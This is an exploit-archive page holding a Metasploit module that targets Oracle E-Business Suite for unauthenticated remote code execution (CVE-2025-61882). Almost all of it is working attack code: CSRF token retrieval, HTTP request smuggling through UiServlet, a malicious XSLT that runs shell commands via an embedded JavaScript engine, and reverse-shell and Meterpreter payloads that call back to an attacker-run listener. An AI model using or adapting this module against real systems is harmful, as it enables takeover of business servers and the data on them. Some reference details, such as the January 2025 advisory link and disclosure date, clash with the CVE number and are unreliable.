Share
## https://sploitus.com/exploit?id=PACKETSTORM:225410
==================================================================================================================================
    | # Title     : Oracle E-Business Suite 12.2.14 Pre-Auth RCE Metasploit Module                                                   |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.oracle.com/applications/ebusiness/                                                                   |
    ==================================================================================================================================
    
    [+] Summary    :  pre-authentication remote code execution vulnerability in Oracle E-Business Suite (CVE-2025-61882). 
                      It targets components within the OA_HTML interface,combining multiple attack techniques such as CSRF token bypass, 
    				  HTTP request smuggling through UiServlet, and XSL transformation abuse with JavaScript engine injection.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Oracle E-Business Suite Pre-Auth RCE (CVE-2025-61882)',
            'Description' => %q{
              This module exploits CVE-2025-61882, a pre-authentication remote code execution
              vulnerability in Oracle E-Business Suite versions 12.2.3 through 12.2.14.
    
              The vulnerability exists in the OA_HTML help component and allows unauthenticated
              attackers to execute arbitrary commands through a combination of:
              
              1. CSRF token bypass
              2. HTTP request smuggling via the UiServlet
              3. XSL transformation with JavaScript engine injection
    
              This module provides both command execution and a full interactive shell
              through various payload delivery methods.
    
              Tested successfully on Oracle EBS 12.2.8 on Linux and Windows platforms.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2025-61882'],
              ['URL', 'https://www.oracle.com/security-alerts/cpujan2025.html'],
              ['URL', 'https://github.com/advisories/CVE-2025-61882'],
              ['URL', 'https://attackerkb.com/topics/cve-2025-61882']
            ],
            'DisclosureDate' => '2025-01-21', 
            'License' => MSF_LICENSE,
            'Platform' => ['linux', 'win', 'unix', 'java'],
            'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD, ARCH_JAVA],
            'Targets' => [
              [
                'Linux (x86/x64)',
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Windows (x86/x64)',
                {
                  'Platform' => 'win',
                  'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
                  'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Java (Cross-platform)',
                {
                  'Platform' => 'java',
                  'Arch' => ARCH_JAVA,
                  'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Command (Unix/Linux)',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ],
              [
                'Command (Windows)',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [ CRASH_SAFE ],
              'Reliability' => [ REPEATABLE_SESSION ],
              'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES ]
            }
          )
        )
        register_options([
          Opt::RPORT(8000),
          OptString.new('TARGETURI', [ true, 'Base path for Oracle EBS', '/' ]),
          OptString.new('LHOST', [ true, 'Listener IP address for callback (HTTP server)' ]),
          OptString.new('LPORT', [ true, 'Listener port for callback (HTTP server)', '8080' ]),
          OptInt.new('HTTP_TIMEOUT', [ true, 'HTTP request timeout in seconds', 10 ]),
          OptEnum.new('COMMAND_MODE', [
            true, 'Command execution mode', 'DIRECT',
            ['DIRECT', 'CMD_STAGER', 'FILE_UPLOAD']
          ]),
          OptBool.new('USE_SSL', [ false, 'Use SSL for Oracle EBS connection', false ])
        ])
        register_advanced_options([
          OptInt.new('CSRF_RETRIES', [ true, 'Number of retries for CSRF token retrieval', 3 ]),
          OptInt.new('XSLT_PORT', [ false, 'Port for XSLT payload server (default: same as LPORT)', nil ]),
          OptString.new('XSLT_HOST', [ false, 'Host for XSLT payload server (default: same as LHOST)', nil ])
        ])
      end
      def check
        print_status("Checking #{peer} for Oracle EBS fingerprint...")
        fingerprints = [
          { path: '/OA_HTML/AppsLogin', pattern: /Oracle|E-Business|EBS|AppsLogin/i },
          { path: '/OA_HTML/jsp/fnd/AskUs.jsp', pattern: /Oracle|EBS/i },
          { path: '/OA_JAVA/oracle/apps/fnd/common/ClasspathServlet', pattern: /Classpath/i }
        ]
        fingerprint_found = false
        version_info = nil
        fingerprints.each do |fp|
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => normalize_uri(target_uri.path, fp[:path]),
              'timeout' => datastore['HTTP_TIMEOUT']
            })
            if res && res.body && res.body.match(fp[:pattern])
              fingerprint_found = true
              print_good("Found Oracle EBS indicator at #{fp[:path]}")
              if res.body.match(/Version (\d+\.\d+\.\d+\.\d+)/i)
                version_info = Regexp.last_match(1)
              elsif res.body.match(/E-Business Suite (\d+\.\d+\.\d+)/i)
                version_info = Regexp.last_match(1)
              end
              break
            end
          rescue ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout
          end
        end
        unless fingerprint_found
          return Exploit::CheckCode::Safe('Target does not appear to be Oracle EBS')
        end
        csrf_token = get_csrf_token
        if csrf_token && csrf_token.length > 0
          return Exploit::CheckCode::Appears("Oracle EBS detected with version #{version_info || 'unknown'}")
        else
          return Exploit::CheckCode::Detected("Oracle EBS detected but CSRF probe failed")
        end
      end
      def get_csrf_token
        retries = datastore['CSRF_RETRIES']
        retries.times do |attempt|
          print_status("Attempting to retrieve CSRF token (attempt #{attempt + 1}/#{retries})...")
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp'),
              'timeout' => datastore['HTTP_TIMEOUT']
            })
            if res && res.headers['Set-Cookie']
              cookies = res.headers['Set-Cookie']
              vprint_status("Received #{cookies.split(',').length} cookies")
            end
          rescue => e
            vprint_error("Error retrieving initial page: #{e.message}")
          end
          begin
            res = send_request_cgi({
              'method' => 'POST',
              'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'JavaScriptServlet'),
              'headers' => {
                'CSRF-XHR' => 'YES',
                'FETCH-CSRF-TOKEN' => '1'
              },
              'timeout' => datastore['HTTP_TIMEOUT']
            })
            if res && res.body && res.body.include?(':')
              token = res.body.split(':')[1]
              if token && token.length > 0
                print_good("CSRF token retrieved: #{token[0..15]}...")
                return token
              else
                print_error("Empty CSRF token received")
              end
            else
              print_error("Invalid CSRF response: #{res&.code || 'No response'}")
            end
          rescue => e
            print_error("Error retrieving CSRF token: #{e.message}")
          end
          sleep(1) unless attempt == retries - 1
        end
        nil
      end
      def generate_xsl_payload(command)
        if target.name =~ /Windows/
          cmd_prefix = ['cmd', '/c']
        else
          cmd_prefix = ['sh', '-c']
        end
        js_code = <<~JS
          var stringc = java.lang.Class.forName('java.lang.String');
          var cmds = java.lang.reflect.Array.newInstance(stringc, 3);
          java.lang.reflect.Array.set(cmds, 0, '#{cmd_prefix[0]}');
          java.lang.reflect.Array.set(cmds, 1, '#{cmd_prefix[1]}');
          java.lang.reflect.Array.set(cmds, 2, '#{command.gsub("'", "\\'")}');
          var runtime = java.lang.Runtime.getRuntime();
          var process = runtime.exec(cmds);
          var reader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
          var line;
          var output = [];
          while ((line = reader.readLine()) !== null) {
            output.push(line);
          }
          var errorReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getErrorStream()));
          while ((line = errorReader.readLine()) !== null) {
            output.push('[ERROR] ' + line);
          }
          var result = output.join('\\n');
          result || 'Command executed successfully';
        JS
        js_encoded = Rex::Text.encode_base64(js_code)
        xslt_template = <<~XSLT
          <?xml version="1.0" encoding="UTF-8"?>
          <xsl:stylesheet version="1.0"
            xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
            xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
            xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
            xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
            xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
            <xsl:template match="/">
              <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(), '#{js_encoded}')"/>
              <xsl:variable name="js" select="str:new($bs)"/>
              <xsl:variable name="m" select="jsm:new()"/>
              <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
              <xsl:variable name="code" select="eng:eval($e, $js)"/>
              <xsl:value-of select="$code"/>
            </xsl:template>
          </xsl:stylesheet>
        XSLT
        xslt_template
      end
      def build_smuggle_payload(path, method = 'POST')
        smuggled_request = "#{method} #{path} HTTP/1.1\r\n"
        smuggled_request << "Host: #{datastore['LHOST']}:#{datastore['LPORT']}\r\n"
        smuggled_request << "User-Agent: #{Rex::Text.rand_text_alpha(8)}/#{rand(5..10)}.#{rand(0..9)}\r\n"
        smuggled_request << "Connection: keep-alive\r\n"
        smuggled_request << "Cookie: #{@session_cookies}\r\n" if @session_cookies
        smuggled_request << "\r\n"
        smuggled_request.chars.map { |c| "&#" + c.ord.to_s + ";" }.join
      end
      def build_ui_initialization_xml(smuggled_payload)
        xml = <<~XML
          <?xml version="1.0" encoding="UTF-8"?>
          <initialize>
            <param name="init_was_saved">test</param>
            <param name="return_url">http://#{datastore['LHOST']}:#{datastore['LPORT']}#{smuggled_payload}</param>
            <param name="ui_def_id">0</param>
            <param name="config_effective_usage_id">0</param>
            <param name="ui_type">Applet</param>
          </initialize>
        XML
        xml
      end
      def trigger_exploit(xsl_payload)
        csrf_token = get_csrf_token
        unless csrf_token
          fail_with(Failure::NoAccess, 'Failed to retrieve CSRF token')
        end
        xslt_host = datastore['XSLT_HOST'] || datastore['LHOST']
        xslt_port = datastore['XSLT_PORT'] || datastore['LPORT']
        xsl_url = "http://#{xslt_host}:#{xslt_port}/payload.xsl"
        smuggled_payload = build_smuggle_payload(xsl_url, 'GET')
        xml_payload = build_ui_initialization_xml(smuggled_payload)
        print_status("Sending exploit to #{peer}/OA_HTML/configurator/UiServlet")
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
            'vars_post' => {
              'redirectFromJsp' => '1',
              'getUiType' => xml_payload
            },
            'timeout' => datastore['HTTP_TIMEOUT']
          })
          if res && res.code == 200
            print_good("Exploit request accepted by target")
            return true
          else
            print_error("Unexpected response: #{res&.code || 'No response'}")
            return false
          end
        rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused
          print_warning("Connection reset - target may be processing exploit")
          return true
        rescue => e
          print_error("Error sending exploit: #{e.message}")
          return false
        end
      end
      def start_xsl_server
        xslt_host = datastore['XSLT_HOST'] || datastore['LHOST']
        xslt_port = (datastore['XSLT_PORT'] || datastore['LPORT']).to_i
        print_status("Starting XSL payload server on #{xslt_host}:#{xslt_port}")
        @xsl_server_thread = nil
        @xsl_payload_served = false
        require 'webrick'
        begin
          server = WEBrick::HTTPServer.new(
            Port: xslt_port,
            BindAddress: xslt_host,
            Logger: WEBrick::Log.new('/dev/null'),
            AccessLog: []
          )
          server.mount_proc('/payload.xsl') do |req, res|
            print_good("Received request for XSL payload from #{req.remote_ip}")
            res.status = 200
            res['Content-Type'] = 'application/xml'
            res.body = @xsl_payload
            @xsl_payload_served = true
          end
          @xsl_server_thread = Thread.new do
            server.start
          end
          server
        rescue => e
          fail_with(Failure::BadConfig, "Failed to start XSL server: #{e.message}")
        end
      end
      def execute_command(cmd, _opts = {})
        print_status("Executing command: #{cmd}")
        @xsl_payload = generate_xsl_payload(cmd)
        unless @xsl_server_thread && @xsl_server_thread.alive?
          @xsl_server = start_xsl_server
        end
        success = trigger_exploit(@xsl_payload)
        wait_time = 0
        while !@xsl_payload_served && wait_time < 30
          sleep(1)
          wait_time += 1
        end
        if success
          print_good("Command execution triggered successfully")
        else
          print_error("Command execution may have failed")
        end
      end
      def exploit
        unless check == Exploit::CheckCode::Appears
          print_error("Target does not appear to be vulnerable or accessible")
          print_error("Use 'set ForceExploit true' to override")
          return unless datastore['ForceExploit']
        end
        case datastore['COMMAND_MODE']
        when 'DIRECT'
          print_status("Direct command execution mode")
          cmd = payload.encoded
          if payload.is_a?(Msf::Payload::Command)
            execute_command(cmd)
          else
            print_status("Using cmdstager for binary payload")
            execute_cmdstager
          end
        when 'CMD_STAGER'
          print_status("Using cmdstager payload delivery")
          execute_cmdstager
        when 'FILE_UPLOAD'
          print_status("File upload mode - not implemented yet")
          fail_with(Failure::NoTarget, 'File upload mode requires additional development')
        end
        print_status("Exploit completed. Waiting for callback...")
        print_status("Press Ctrl+C to stop")
        begin
          sleep(1) while @xsl_server_thread&.alive?
        rescue Interrupt
          print_status("Shutting down XSL server...")
          @xsl_server.shutdown if @xsl_server
        end
      end
      def cleanup
        super
        if @xsl_server
          print_status("Shutting down XSL server...")
          @xsl_server.shutdown if @xsl_server.respond_to?(:shutdown)
        end
      end
    end
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================